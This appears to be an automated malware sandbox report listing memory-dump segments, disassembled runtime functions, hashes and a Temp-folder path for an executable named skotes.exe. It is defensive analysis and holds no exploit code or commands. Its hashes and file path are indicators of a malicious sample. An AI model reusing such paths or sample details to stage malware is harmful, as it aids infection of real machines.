Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 69f0b6eb91e15b2ab44bd662ffe918dc3c61cb11e17b008c5ac56c856f43d281
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: B5F0A035200A209EE672AB688851F6B23D4DF40712F00855DED2BA7282DF34E9CADB85

Function 00C4EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00C4EFD1

Part of subcall function 00C4F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00C4F989
Part of subcall function 00C4F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00C4F9C0
Part of subcall function 00C4F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00C4F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00C4EFDD

Part of subcall function 00C4F40F: Concurrency::critical_section::unlock.LIBCMT ref: 00C4F433

Concurrency::Context::Block.LIBCONCRT ref: 00C4EFE2

Part of subcall function 00C50366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00C50368

Concurrency::critical_section::lock.LIBCONCRT ref: 00C4F002

Part of subcall function 00C4F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00C4F8AC
Part of subcall function 00C4F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00C4F8B7

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 282bc58e0d08df6f9d7106f6b26342fa27e174814a1d7cae6c9e7494ec5c73ae
Instruction ID: 243498e0d24c74ab933060a76355f82cb6e88b4cfd990bd84f27808babb4f43d
Opcode Fuzzy Hash: 282bc58e0d08df6f9d7106f6b26342fa27e174814a1d7cae6c9e7494ec5c73ae
Instruction Fuzzy Hash: B0E04F34900505ABCB04FB20C45566DBB61BF54360B148329E466572E2CF346E4BEB95

Function 00C6DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00C6DFE8

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 91ba8eab141321e16ee26791cbd0fec79d6bb2e5c00d965e45fdae73eab1494b
Instruction ID: 4f10330e4ca8e4b3dd4a6ec5441ec0bf05ccdfdea51287c41b3d6115d211f05e
Opcode Fuzzy Hash: 91ba8eab141321e16ee26791cbd0fec79d6bb2e5c00d965e45fdae73eab1494b
Instruction Fuzzy Hash: 4621A4796142197FDB30AF698CC0E6B77ADEF003687104617F82997252E770ED40B7A1

Function 00C61704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00C61764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C617AF

Strings

pContext, xrefs: 00C617A7

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: ca82ed5972ef5f5177dff2f63c15d018a0865e2a3f77f9d39ebc34e7efa2739c
Instruction ID: 398dceff5de111875b681f80bd6e6023ca045a2655dc2c665408fa45b80fc503
Opcode Fuzzy Hash: ca82ed5972ef5f5177dff2f63c15d018a0865e2a3f77f9d39ebc34e7efa2739c
Instruction Fuzzy Hash: 6B11033AA002109BCB65FF68C8C596D77A9AF84362B1D4065EC12E7342DB74EE05CBD4

Function 00C5B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00C5B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C5B961

Strings

pContext, xrefs: 00C5B959

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
